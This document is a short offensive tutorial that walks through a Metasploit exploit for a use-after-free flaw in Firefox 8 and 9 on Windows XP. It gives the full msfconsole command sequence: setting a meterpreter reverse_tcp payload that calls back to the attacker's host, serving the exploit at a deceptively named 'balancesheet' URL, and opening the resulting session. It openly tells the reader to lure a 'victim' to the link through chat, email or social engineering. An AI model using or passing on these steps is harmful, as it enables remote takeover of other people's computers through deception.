This module exploits a use-after-free vulnerability in Firefox 8/8.0.1 and 9/9.0.1. Removal of child nodes from the nsDOMAttribute can allow for a child to still be accessible after removal due to a premature notification of AttributeChildRemoved. Since mFirstChild is not set to NULL until after this call is made, this means the removed child will be accessible after it has been removed. By carefully manipulating the memory layout, this can lead to arbitrary code execution.

Exploit Targets

Mozilla Firefox 9.0.1

Win SP2

Requirement

Attacker: Backtrack 5

Victim PC: Windows XP

Open backtrack terminal type msfconsole

Now type use exploit/windows/browser/Mozilla_attribchildremoved

Msf exploit (Mozilla_attribchildremoved)>set payload windows/meterpreter/reverse_tcp

Msf exploit (Mozilla_attribchildremoved)>set lhost 192.168.1.3 (IP of Local Host)

Msf exploit (Mozilla_attribchildremoved)>set srvhost 192.168.1.3 (This must be an address on the local machine)

Msf exploit (Mozilla_attribchildremoved)>set uripath balancesheet (The Url to use for this exploit)

Msf exploit (Mozilla_attribchildremoved)>exploit

Now an URL you should give to your victim http://192.168.1.3:8080/balancesheet

Send the link of the server to the victim via chat or email or any social engineering technique.

Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“
